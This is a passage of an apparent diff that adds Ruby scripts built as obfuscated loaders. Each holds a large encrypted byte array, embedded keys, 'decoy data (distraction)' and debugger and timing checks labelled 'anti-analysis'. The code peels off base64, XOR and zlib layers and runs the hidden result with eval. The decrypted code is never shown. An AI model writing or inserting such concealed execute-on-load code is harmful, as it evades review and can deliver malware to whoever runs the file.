237, 127, 1, 11, 120, 93, 97, 173, 161, 188, 80, 46, 99, 194, 157, 202, 179, 205, 91, 189, 145, 120, 255, 98, 175, 180, 215, 80, 184, 115, 133, 4, 108, 37, 122, 104, 4, 30, 18, 171, 32, 209, 105, 60, 20, 169, 19, 146, 101, 189, 91, 214, 168, 186, 141, 123, 141, 187, 99, 165, 249, 91, 146, 158, 80, 213, 31, 252, 194, 19, 228, 214, 150, 163, 87, 168, 137, 17, 223, 172, 11, 161, 194, 61, 163, 193, 160, 232, 105, 100, 213, 168, 247, 199, 55, 151, 86, 10, 64, 240, 110, 196, 150, 233, 22, 97, 120, 51, 47, 243, 206, 22, 162, 108, 225, 23, 224, 213, 82, 35, 103, 111, 132, 171, 192, 49, 22, 142, 95, 26, 144, 126, 131, 17, 220, 144, 88, 252, 26, 200, 119, 23, 195, 120, 229, 41, 76, 36, 174, 57, 225, 119, 120, 216, 116, 113, 19, 185, 219, 69, 199, 144, 110, 115, 188, 9, 117, 200, 19, 49, 216, 11, 194, 245, 12, 153, 174, 56, 166, 139, 34, 179, 67, 27, 229, 133, 56, 232, 200, 49, 59, 190, 252, 15, 78, 159, 88, 238, 176, 237, 178, 233, 95, 228, 241, 29, 21, 17, 229, 157, 48, 142, 63, 85, 136, 167, 255, 235, 58, 238, 96, 63, 204, 176, 89, 112, 231, 201, 99, 72, 107, 27, 158, 9, 11, 127, 76, 76, 245, 136, 49, 135, 239, 75, 37, 255, 87, 41, 85, 227, 251, 239, 10, 19, 185, 114, 69, 149, 194, 23, 158, 73, 233, 90, 155, 147, 153, 46, 70, 50, 67, 130, 111, 187, 183, 169, 196, 157, 218, 89, 67, 182, 228, 120, 225, 11, 23, 71, 207, 131, 82, 9, 79, 179, 146, 207, 34, 96, 154, 42, 26, 46, 191, 164, 88, 101, 204, 238, 136, 193, 97, 15, 1, 181, 27, 34, 72, 26, 185, 212, 255, 49, 117, 119, 154, 92, 220, 255, 219, 32, 125, 81, 102, 137, 50, 137, 52, 207, 67, 23, 50, 189, 55, 186, 172, 115, 18, 13, 32, 163, 18, 212, 57, 41, 44, 107, 64, 100, 47, 25, 187, 242, 142, 206, 104, 208, 158, 51, 134, 92, 235, 123, 54, 222, 14, 12, 121, 206, 27, 71, 185, 90, 124, 222, 66, 213, 169, 125, 59, 203, 27, 238, 94, 62, 178, 241, 86, 158, 8, 56, 96, 248, 15, 119, 91, 218, 177, 227, 242, 61, 6, 17, 122, 195, 217, 83, 194, 150, 128, 18, 184, 202, 199, 206, 149, 144, 86, 27, 118, 47, 16, 150, 151, 14, 246, 207, 167, 241, 171, 229, 42, 83, 53, 38, 252, 119, 241, 4, 185, 75, 187, 252, 232, 146, 82, 114, 127, 26, 211, 37, 128, 203, 118, 27, 86, 175, 251, 21, 17, 138, 174, 243, 171, 192, 84, 92, 203, 96, 45, 198, 181, 39, 139, 251, 160, 147, 250, 146, 126, 123, 227, 95, 167, 20, 79, 114, 133, 108, 94, 17, 215, 58, 116, 231, 140, 229, 180, 147, 157, 123, 87, 16, 125, 120, 76, 129, 102, 236, 2, 122, 137, 34, 253, 82, 232, 1, 43, 44, 116, 10, 251, 107, 114, 122, 9, 118, 251, 26, 185, 247, 165, 84, 47, 186, 32, 160, 106, 79, 252, 197, 20, 211, 110, 152, 63, 113, 89, 29, 162, 3, 122, 177, 232, 134, 144, 48, 84, 112, 15, 161, 87, 174, 156, 253, 143, 171, 141, 87, 79, 198, 118, 4, 4, 198, 44, 71, 225, 217, 64, 49, 212, 72, 32, 69, 240, 249, 181, 125, 146, 2, 249, 188, 192, 60, 212, 81, 16, 133, 135, 207, 181, 33, 182, 168, 98, 29, 4, 197, 35, 26, 233, 50, 92, 37, 9, 33, 38, 201, 166, 198, 221, 101, 244, 94, 41, 125, 220, 33, 235, 99, 144, 92, 30, 99, 138, 32, 174, 9, 212, 234, 200, 146, 127, 65, 27, 11, 225, 226, 28, 204, 146, 89, 222, 29, 180, 139, 192, 222, 129, 111, 2, 111, 122, 108, 148, 255, 241, 108, 156, 179, 47, 166, 204, 12, 236, 190, 214, 214, 135, 85, 118, 153, 14, 194, 142, 86, 12, 15, 142, 66, 154, 193, 169, 39, 232, 96, 10, 177, 190, 191, 125, 147, 51, 114, 60, 43, 178, 201, 30, 50, 149, 254, 2, 12, 100, 38, 181, 185, 210, 83, 211, 229, 134, 14, 65, 121, 212, 35, 6, 241, 155, 141, 147, 161, 46, 219, 82, 109, 77, 186, 148, 164, 212, 153, 180, 10, 161, 125, 116, 76, 10, 19, 22, 10, 207, 229, 56, 135, 215, 171, 84, 214, 10, 225, 98, 32, 163, 131, 225, 10, 178, 143, 204, 206, 1, 189, 63, 234, 214, 34, 40, 166, 61, 146, 129, 190, 161, 39, 48, 220, 33, 69, 223, 118, 28, 46, 77, 201, 107, 60, 26, 73, 119, 247, 42, 43, 209, 66, 139, 73, 208, 14, 170, 67, 7, 212, 174, 243, 90, 93, 251, 221, 81, 26, 151, 54, 139, 207, 27, 191, 8, 9, 101, 253, 139, 134, 84, 204, 45, 252, 29, 90, 221, 225, 4, 211, 92, 19, 169, 53, 187, 164, 180, 29, 197, 155, 126, 6, 33, 52, 206, 242, 181, 64, 255, 239, 234, 199, 185, 99, 105, 133, 19, 165, 49, 99, 109, 206, 210, 238, 75, 1, 168, 104, 139, 235, 66, 105, 58, 39, 42, 173, 79, 167, 208, 77, 100, 107, 124, 80, 165, 214, 1, 75, 85, 29, 123, 20, 157, 63, 215, 147, 71, 43, 69, 136, 112, 59, 16, 240, 218, 55, 11, 113, 32, 152, 76, 55, 10, 150, 184, 242, 53, 163, 221, 104, 108, 19, 145, 30, 62, 172, 40, 75, 85, 68, 45, 141, 99, 136, 187, 166, 201, 4, 147, 234, 108, 34, 67, 248, 169, 30, 247, 114, 16, 210, 205, 170, 42, 113, 246, 224, 239, 41, 70, 11, 186, 44, 6, 194, 101, 39, 173, 18, 239, 250, 19, 187, 86, 93, 76, 29, 167, 209, 22, 244, 46, 254, 114, 72, 11, 169, 181, 185, 34, 5, 211, 218, 87, 252, 80, 14, 115, 90, 124, 154, 94, 230, 49, 70, 254, 31, 121, 2, 72, 161, 212, 152, 20, 201, 36, 31, 215, 121, 51, 206, 159, 92, 67, 156, 186, 104, 42, 160, 247, 161, 95, 25, 66, 34, 25, 182, 8, 255, 49] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_c1a4010 = [25, 122, 113, 151, 207, 200, 118, 146, 52, 137, 149, 173, 247, 42, 112, 200, 223, 26, 196, 189]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_g5292fc = [0, 1, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_ee001d5 = 'ec87165da1354324214c28e7ed579c0fc81bcb54dea933af0c0d75bc860a1d61'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_i5cd01c = [183, 248, 244, 252, 100, 146, 203, 62, 235, 122, 185, 26, 100, 222, 158, 20, 230, 134, 13, 148, 176, 244, 52, 12, 206, 67, 173, 30, 167, 110, 17, 255, 218, 238, 213, 172, 115, 175, 57, 29, 217, 25, 74, 240, 136, 16, 102, 145, 156, 189, 176, 150, 173, 195, 250, 43, 106]
|
|
64
|
+
_j2a12fd = [7, 103, 108, 114, 118, 88, 157, 148, 150, 36, 5, 42, 3, 165, 11, 226, 33, 7, 21, 98, 140, 153, 183, 214, 48, 224, 126, 53, 30, 121, 217, 67, 114, 156, 85, 203, 168, 157, 241, 135, 188, 134, 46, 50, 48, 254, 188, 170, 96, 117, 166, 147, 62, 34, 223, 113, 182, 242, 52, 160, 236, 228, 167, 114, 201, 56, 76, 176, 162, 155, 1, 58, 160, 6, 159, 74, 125, 91, 109, 40, 212, 37, 187, 55, 186, 153, 107, 74, 155, 251, 16, 5, 134, 235, 168, 221, 46, 23, 56, 71, 200, 27, 9, 193, 169, 34, 244, 254, 72, 25, 46, 255, 251, 124, 211, 141, 39, 232, 224, 44, 82, 217]
|
|
65
|
+
_eb11bca = [254, 37, 91, 215, 172, 36, 200, 92, 104, 177, 240, 62, 121, 84, 145, 46, 134, 214, 173, 97, 113, 5, 13, 218, 225, 134, 98, 21, 144, 126, 255, 3, 104, 167, 96, 37, 215, 20, 28, 53, 3, 95, 246, 17, 229, 60, 123, 76, 171, 253, 23, 231, 225, 251, 11, 145, 72, 124, 162, 179, 84, 127, 248]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _h123592.call(_d25b568, _g5292fc, _c1a4010, _ee001d5)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_jb9b266 = _d25b568.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_m5b4b38|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_oe6e9b4 = 5 - _m5b4b38 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_u7053ed = 4
|
|
84
|
+
_f8cf484 = _oe6e9b4 * _u7053ed
|
|
85
|
+
_xfc1058 = _c1a4010[_f8cf484, _u7053ed]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _g5292fc[_oe6e9b4] == 1
|
|
93
|
+
_rc2a2ed = _jb9b266.pack('C*')
|
|
94
|
+
_rc2a2ed = Base64.strict_decode64(_rc2a2ed)
|
|
95
|
+
_jb9b266 = _rc2a2ed.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_jb9b266 = _pcda769.call(_jb9b266, _xfc1058)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_rc2a2ed = _jb9b266.pack('C*')
|
|
103
|
+
_rc2a2ed = Zlib::Inflate.inflate(_rc2a2ed)
|
|
104
|
+
_jb9b266 = _rc2a2ed.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_p99b03e = _jb9b266.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _p99b03e.strip.empty? || _p99b03e.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_p99b03e, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _j3b389d
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_j3b389d.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_s6721ca = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_o08ddd1 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _o08ddd1) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_w8c3860 = _s6721ca.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_cb8685d = ->(_o46566a, _nc6510a) do
|
|
32
|
+
_h9e960d = []
|
|
33
|
+
_o46566a.each_with_index do |byte, idx|
|
|
34
|
+
_h9e960d << (byte ^ _nc6510a[idx % _nc6510a.length])
|
|
35
|
+
end
|
|
36
|
+
_h9e960d
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_b20ecc7 = lambda do |_n940881, _w58986f, _z660e0f, _oed3d4a|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_n940881.pack('C*'))
|
|
44
|
+
if current_hash != _oed3d4a
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_n940881 = [170, 92, 104, 232, 242, 151, 182, 123, 220, 139, 254, 54, 164, 51, 35, 23, 3, 153, 45, 131, 90, 170, 145, 2, 1, 233, 190, 15, 113, 233, 47, 252, 254, 167, 187, 55, 187, 73, 195, 145, 228, 236, 126, 137, 17, 122, 161, 94, 97, 42, 59, 70, 114, 129, 6, 101, 226, 73, 112, 18, 167, 162, 241, 212, 177, 161, 176, 50, 169, 12, 76, 165, 0, 51, 136, 184, 32, 55, 96, 144, 219, 85, 52, 146, 156, 102, 72, 17, 227, 102, 5, 99, 130, 203, 141, 157, 32, 134, 226, 69, 180, 69, 155, 221, 249, 31, 144, 110, 226, 211, 141, 223, 95, 72, 18, 58, 192, 68, 96, 21, 108, 225, 180, 170, 249, 235, 158, 50, 84, 56, 101, 38, 3, 99, 251, 53, 90, 79, 14, 160, 152, 64, 70, 115, 172, 172, 84, 29, 41, 188, 187, 223, 104, 225, 230, 99, 96, 40, 176, 107, 61, 162, 125, 27, 45, 138, 114, 90, 61, 6, 196, 77, 121, 223, 110, 3, 127, 149, 251, 116, 222, 233, 98, 141, 86, 151, 100, 66, 90, 255, 95, 219, 237, 40, 148, 72, 23, 63, 55, 53, 202, 60, 253, 77, 2, 28, 93, 121, 159, 71, 112, 95, 132, 116, 241, 240, 22, 23, 14, 154, 49, 19, 89, 141, 60, 222, 49, 56, 148, 82, 143, 91, 76, 225, 39, 77, 181, 29, 132, 46, 179, 236, 191, 216, 127, 14, 41, 222, 65, 164, 86, 2, 210, 62, 85, 180, 118, 18, 23, 4, 158, 76, 233, 77, 24, 109, 210, 155, 109, 36, 42, 163, 125, 245, 17, 207, 220, 183, 142, 90, 221, 218, 155, 254, 161, 155, 108, 203, 246, 14, 30, 36, 122, 68, 148, 138, 64, 178, 85, 22, 66, 34, 159, 30, 22, 37, 149, 231, 252, 241, 57, 251, 251, 201, 190, 166, 108, 227, 130, 27, 108, 177, 41, 46, 26, 224, 60, 134, 198, 107, 119, 68, 124, 22, 173, 137, 27, 12, 163, 238, 212, 211, 193, 39, 43, 175, 141, 249, 215, 93, 215, 62, 69, 13, 83, 14, 118, 179, 102, 95, 146, 22, 29, 242, 246, 237, 226, 12, 255, 95, 154, 30, 238, 49, 224, 206, 232, 145, 20, 182, 83, 78, 78, 27, 184, 11, 45, 88, 0, 155, 238, 250, 17, 175, 255, 136, 235, 90, 43, 187, 220, 193, 89, 253, 158, 63, 148, 176, 98, 117, 124, 24, 67, 132, 73, 175, 243, 219, 221, 121, 238, 224, 51, 111, 192, 215, 50, 5, 223, 36, 147, 138, 201, 98, 172, 252, 22, 250, 155, 241, 157, 80, 64, 136, 99, 113, 23, 201, 251, 27, 93, 42, 191, 66, 254, 198, 235, 129, 108, 3, 39, 179, 249, 176, 94, 163, 158, 147, 154, 68, 177, 220, 156, 138, 110, 112, 205, 160, 210, 144, 115, 207, 150, 33, 233, 166, 208, 161, 188, 206, 43, 169, 163, 143, 153, 49, 147, 35, 199, 242, 154, 156, 222, 14, 108, 97, 131, 97, 7, 12, 133, 223, 80, 20, 229, 155, 23, 99, 34, 20, 156, 81, 194, 58, 185, 2, 161, 80, 121, 218, 155, 235, 242, 237, 148, 3, 62, 74, 48, 38, 195, 229, 220, 50, 45, 86, 222, 114, 175, 187, 150, 215, 130, 206, 191, 129, 233, 119, 28, 58, 137, 90, 197, 206, 90, 6, 13, 240, 0, 10, 129, 120, 227, 209, 195, 191, 75, 242, 80, 196, 222, 235, 94, 219, 165, 25, 138, 29, 182, 253, 250, 199, 232, 133, 58, 90, 42, 158, 55, 37, 64, 32, 255, 245, 56, 24, 160, 26, 120, 211, 31, 110, 222, 21, 1, 69, 144, 207, 123, 250, 92, 230, 157, 222, 93, 185, 3, 177, 68, 214, 163, 225, 43, 179, 53, 125, 13, 31, 223, 140, 47, 221, 99, 94, 112, 80, 28, 174, 29, 77, 42, 109, 118, 213, 70, 28, 88, 237, 212, 98, 32, 225, 50, 76, 102, 67, 182, 170, 199, 69, 148, 103, 11, 228, 196, 14, 87, 251, 68, 146, 225, 147, 29, 94, 239, 191, 84, 186, 0, 169, 9, 191, 107, 6, 173, 68, 26, 86, 29, 123, 231, 160, 41, 252, 251, 110, 41, 83, 196, 31, 107, 250, 164, 178, 99, 53, 49, 7, 103, 37, 64, 142, 106, 106, 45, 49, 21, 86, 23, 243, 104, 194, 251, 11, 223, 9, 75, 62, 236, 62, 205, 255, 206, 138, 229, 171, 168, 87, 245, 201, 1, 255, 206, 237, 90, 102, 49, 44, 231, 112, 171, 226, 43, 23, 56, 155, 159, 23, 227, 221, 208, 142, 106, 170, 128, 211, 218, 132, 176, 136, 10, 61, 152, 41, 70, 112, 58, 62, 3, 124, 181, 50, 40, 189, 232, 86, 172, 129, 78, 127, 142, 252, 196, 189, 98, 154, 217, 143, 212, 32, 77, 43, 194, 248, 56, 251, 90, 99, 54, 254, 17, 155, 20, 1, 109, 182, 51, 51, 121, 192, 113, 138, 199, 100, 51, 88, 236, 216, 52, 195, 167, 212, 165, 117, 71, 185, 77, 171, 212, 252, 95, 234, 249, 231, 97, 204, 165, 240, 71, 181, 6, 243, 31, 54, 51, 7, 16, 156, 98, 68, 222, 105, 16, 101, 114, 200, 12, 199, 175, 246, 72, 112, 97, 5, 122, 158, 41, 232, 10, 185, 26, 18, 19, 56, 254, 177, 208, 179, 128, 142, 115, 85, 177, 68, 196, 189, 173, 172, 134, 235, 15, 167, 218, 138, 48, 104, 224, 55, 242, 36, 215, 1, 101, 7, 231, 131, 85, 184, 53, 186, 140, 208, 86, 101, 81, 229, 126, 191, 244, 37, 183, 7, 85, 226, 253, 197, 153, 173, 149, 64, 93, 180, 119, 116, 236, 171, 33, 147, 132, 254, 90, 252, 69, 161, 69, 67, 68, 25, 67, 64, 233, 27, 245, 123, 198, 39, 178, 224, 6, 150, 89, 14, 199, 129, 147, 96, 40, 96, 135, 34, 61, 183, 191, 43, 196, 185, 148, 160, 75, 77, 217, 147, 106, 130, 190, 89, 54, 86, 40, 136, 173, 1, 57, 202, 171, 29, 123, 69, 250, 194, 215, 47, 187, 152, 41, 218, 207, 0, 30, 96, 132, 249, 189, 144, 55, 228, 192, 255, 181, 132, 3, 116, 94, 37, 78, 5, 74, 58, 196, 165, 48, 45, 169, 131, 114, 219, 144, 182, 24, 126, 127, 100, 45, 54, 160, 59, 180, 160, 47, 213, 255, 144, 253, 179, 154, 171, 73, 80, 217, 91, 40, 215, 170, 55, 158, 234, 189, 85, 144, 14, 117, 70, 172, 119, 178, 66, 190, 33, 173, 198, 85, 239, 106, 40, 110, 224, 205, 117, 229, 183, 249, 33, 198, 245, 109, 104, 112, 200, 253, 203, 35, 144, 99, 147, 170, 141, 226, 3, 95, 156, 137, 68, 236, 246, 207, 244, 219, 71, 28, 122, 92, 32, 126, 156, 204, 122, 5, 161, 92, 65, 192, 164, 5, 235, 218, 162, 100, 172, 119, 65, 145, 130, 10, 203, 142, 18, 111, 232, 62, 157, 41, 82, 109, 42, 107, 176, 246, 49, 176, 234, 77, 242, 8, 154, 121, 79, 232, 179, 79, 83, 104, 128, 71, 38, 222, 117, 225, 96, 89, 200, 160, 29, 55, 141, 105, 69, 163, 208, 23, 55, 197, 113, 212, 147, 198, 114, 233, 28, 247, 98, 243, 105, 235, 243, 128, 97, 171, 78, 227, 183, 78, 163, 9, 11, 49, 110, 228, 240, 102, 163, 177, 113, 192, 130, 112, 223, 234, 111, 140, 138, 37, 8, 149, 114, 197, 136, 241, 148, 187, 122, 17, 177, 118, 81, 162, 214, 158, 126, 20, 154, 150, 58, 199, 232, 104, 68, 121, 38, 55, 230, 212, 229, 177, 158, 148, 128, 230, 50, 217, 144, 89, 20, 147, 181, 28, 121, 198, 129, 235, 81, 140, 49, 114, 254, 203, 6, 140, 20, 103, 203, 28, 53, 157, 176, 150, 98, 171, 215, 161, 147, 7, 158, 50, 64, 83, 241, 191, 139, 157, 53, 240, 123, 152, 249, 248, 61, 130, 130, 63, 183, 251, 66, 36, 251, 153, 238, 58, 132, 164, 188, 183, 90, 8, 12, 130, 165, 97, 144, 9, 181, 40, 0, 178, 194, 112, 132, 1, 73, 155, 166, 171, 81, 118, 230, 117, 125, 248, 242, 118, 133, 112, 126, 70, 164, 29, 114, 61, 214, 12, 232, 103, 238, 65, 254, 31, 180, 223, 217, 51, 210, 30, 162, 235, 37, 180, 17, 167, 233, 100, 181, 43, 105, 30, 137, 110, 190, 35, 10, 54, 98, 58, 165, 34, 111, 206, 45, 86, 140, 73, 117, 162, 97, 61, 91, 97, 17, 207, 213, 110, 253, 172, 13, 93, 49, 152, 105, 52, 80, 74, 245, 152, 63, 231, 4, 146, 28, 244, 121, 229, 119, 215, 128, 162, 6, 135, 12, 61, 118, 219, 243, 66, 176, 148, 7, 74, 95, 169, 133, 254, 32, 118, 165, 58, 137, 189, 27, 188, 187, 119, 35, 216, 22, 218, 208, 127, 84, 199, 168, 46, 253, 145, 183, 80, 93, 136, 53, 157, 208, 71, 54, 67, 193, 181, 145, 174, 139, 13, 248, 231, 136, 41, 106, 133, 45, 215, 12, 186, 188, 82, 154, 134, 232, 215, 16, 86, 85, 253, 203, 242, 12, 238, 234, 99, 143, 127, 121, 145, 154, 65, 157, 125, 72, 20, 35, 247, 231, 181, 219, 142, 219, 127, 176, 231, 10, 11, 19, 130, 115, 70, 186, 234, 72, 57, 247, 74, 58, 18, 242, 8, 251, 128, 217, 81, 58, 25, 248, 164, 102, 6, 217, 100, 89, 102, 105, 13, 108, 106, 133, 109, 155, 125, 51, 164, 100, 197, 172, 8, 100, 36, 164, 175, 155, 23, 3, 146, 228, 30, 133, 236, 0, 134, 82, 129, 64, 141, 144, 59, 22, 84, 252, 122, 172, 86, 6, 177, 39, 33, 25, 189, 146, 34, 222, 93, 46, 79, 10, 215, 26, 80, 11, 207, 247, 248, 255, 85, 101, 155, 29, 64, 242, 205, 210, 245, 148, 102, 247, 227, 28, 246, 206, 47, 129, 110, 232, 194, 99, 193, 122, 89, 118, 55, 111, 230, 50, 207, 79, 91, 198, 98, 112, 23, 209, 166, 4, 60, 161, 190, 22, 82, 0, 184, 16, 44, 207, 175, 124, 2, 84, 20, 233, 97, 109, 211, 1, 228, 97, 144, 14, 132, 137, 234, 239, 165, 141, 130, 249, 221, 59, 117, 62, 171, 130, 180, 254, 114, 111, 52, 98, 62, 150, 242, 241, 202, 37, 239, 81, 9, 169, 148, 230, 98, 86, 47, 202, 195, 10, 241, 145, 75, 125, 8, 209, 55, 215, 28, 48, 141, 5, 223, 106, 129, 169, 63, 143, 54, 134, 138, 26, 191, 128, 26, 17, 81, 180, 42, 14, 125, 153, 243, 121, 160, 100, 78, 133, 77, 3, 23, 28, 58, 31, 26, 135, 149, 9, 97, 123, 199, 57, 162, 80, 45, 19, 61, 101, 137, 43, 82, 240, 142, 92, 152, 22, 50, 50, 205, 70, 198, 13, 174, 232, 26, 173, 135, 126, 64, 109, 58, 19, 241, 202, 251, 102, 125, 206, 49, 7, 79, 130, 151, 220, 75, 214, 160, 25, 44, 182, 36, 216, 171, 35, 123, 247, 126, 147, 118, 129, 226, 171, 101, 118, 242, 251, 231, 59, 228, 214, 214, 153, 181, 247, 6, 213, 151, 103, 68, 127, 69, 113, 22, 97, 85, 202, 19, 146, 204, 8, 80, 123, 117, 219, 153, 91, 172, 227, 70, 120, 249, 26, 101, 193, 103, 253, 11, 176, 232, 62, 169, 22, 128, 112, 136, 100, 110, 81, 214, 175, 124, 198, 168, 25, 93, 160, 41, 222, 22, 16, 1, 191, 196, 136, 27, 192, 6, 137, 150, 240, 64, 194, 131, 197, 7, 202, 149, 165, 251, 10, 171, 93, 100, 9, 149, 53, 97, 172, 14, 81, 61, 241, 86, 118, 177, 182, 67, 254, 200, 6, 220, 151, 122, 90, 245, 141, 33, 247, 194, 174, 149, 20, 176, 80, 27, 87, 1, 96, 14, 162, 189, 127, 81, 27, 208, 42, 244, 107, 65, 137, 114, 55, 147, 177, 177, 177, 42, 111, 50, 85, 8, 112, 49, 20, 69, 216, 108, 137, 176, 219, 161, 92, 211, 143, 17, 116, 255, 171, 7, 112, 247, 236, 236, 99, 123, 45, 67, 248, 194, 199, 138, 1, 143, 4, 220, 47, 187, 171, 176, 159, 202, 199, 184, 252, 210, 116, 198, 145, 107, 114, 70, 251, 123, 226, 33, 106, 213, 131, 42, 253, 206, 187, 126, 0, 30, 130, 205, 231, 185, 33, 120, 120, 29, 43, 122, 146, 57, 151, 86, 117, 251, 31, 100, 243, 43, 22, 250, 49, 77, 174, 121, 48, 215, 3, 43, 117, 95, 245, 222, 126, 27, 35, 241, 34, 118, 28, 128, 27, 153, 209, 4, 125, 223, 187, 34, 80, 32, 168, 152, 197, 109, 108, 248, 15, 60, 144, 34, 186, 135, 81, 172, 33, 119, 16, 172, 231, 236, 13, 191, 25, 23, 235, 216, 7, 246, 139, 164, 150, 0, 233, 240, 252, 10, 213, 28, 229, 213, 172, 117, 128, 193, 119, 78, 10, 192, 138, 128, 195, 196, 31, 195, 240, 176, 205, 195, 14, 182, 216, 138, 11, 103, 209, 134, 128, 122, 105, 126, 207, 243, 51, 232, 163, 161, 16, 171, 44, 214, 233, 34, 243, 108, 1, 23, 54, 33, 159, 101, 42, 70, 180, 80, 17, 43, 4, 211, 199, 195, 72, 97, 49, 230, 31, 91, 50, 77, 99, 62, 180, 160, 236, 145, 32, 58, 124, 173, 18, 171, 148, 1, 235, 121, 207, 40, 134, 45, 224, 41, 22, 194, 52, 183, 133, 15, 32, 36, 58, 152, 150, 203, 52, 140, 5, 0, 172, 90, 45, 174, 228, 134, 174, 81, 23, 211, 179, 92, 58, 105, 96, 168, 254, 87, 29, 48, 213, 50, 102, 43, 146, 194, 59, 127, 210, 168, 238, 246, 151, 213, 236, 178, 167, 211, 61, 82, 79, 14, 35, 48, 74, 14, 199, 20, 159, 6, 3, 106, 165, 204, 229, 210, 8, 5, 10, 145, 251, 184, 130, 67, 11, 227, 7, 18, 243, 220, 221, 229, 30, 3, 33, 201, 71, 255, 225, 3, 123, 82, 171, 205, 52, 80, 52, 175, 139, 138, 251, 6, 177, 207, 189, 181, 143, 169, 194, 136, 173, 0, 216, 16, 23, 26, 169, 103, 63, 9, 175, 206, 38, 113, 185, 151, 29, 95, 47, 174, 36, 214, 224, 133, 55, 56, 224, 82, 133, 95, 25, 199, 212, 95, 169, 17, 201, 216, 50, 85, 209, 86, 225, 143, 157, 70, 244, 7, 51, 150, 105, 37, 11, 12, 184, 144, 59, 157, 99, 145, 152, 162, 206, 13, 68, 158, 217, 65, 37, 109, 182, 13, 170, 28, 105, 70, 36, 96, 61, 47, 127, 117, 208, 187, 130, 187, 107, 158, 41, 193, 27, 164, 92, 105, 54, 61, 8, 70, 195, 219, 72, 200, 44, 2, 229, 16, 65, 217, 114, 13, 94, 120, 86, 103, 201, 243, 248, 238, 130, 225, 31, 107, 66, 112, 38, 119, 28, 160, 11, 169, 89, 11, 76, 186, 25, 250, 128, 225, 156, 156, 177, 43, 151, 22, 99, 72, 231, 55, 219, 248, 46, 48, 130, 39, 110, 229, 31, 160, 183, 65, 223, 240, 71, 148, 138, 87, 194, 183, 235, 255, 189, 254, 62, 3, 126, 19, 135, 23, 69, 172, 153, 179, 228, 58, 164, 238, 192, 116, 61, 16, 6, 111, 255, 200, 52, 102, 115, 184, 81, 156, 97, 248, 158, 110, 81, 188, 227, 228, 89, 95, 137, 202, 29, 248, 19, 99, 49, 185, 81, 156, 105, 145, 137, 33, 225, 213, 10, 23, 105, 30, 0, 111, 22, 130, 95, 78, 157, 59, 213, 119, 75, 9, 27, 86, 1, 243, 254, 86, 188, 108, 90, 81, 81, 153, 82, 250, 83, 117, 79, 254, 107, 166, 70, 138, 153, 48, 136, 249, 47, 63, 237, 144, 73, 146, 131, 93, 53, 178, 112, 19, 27, 247, 199, 223, 246, 248, 63, 114, 197, 83, 106, 44, 249, 243, 21, 197, 202, 235, 200, 151, 6, 206, 39, 229, 100, 222, 19, 48, 124, 64, 175, 127, 96, 198, 165, 2, 114, 252, 230, 134, 79, 186, 151, 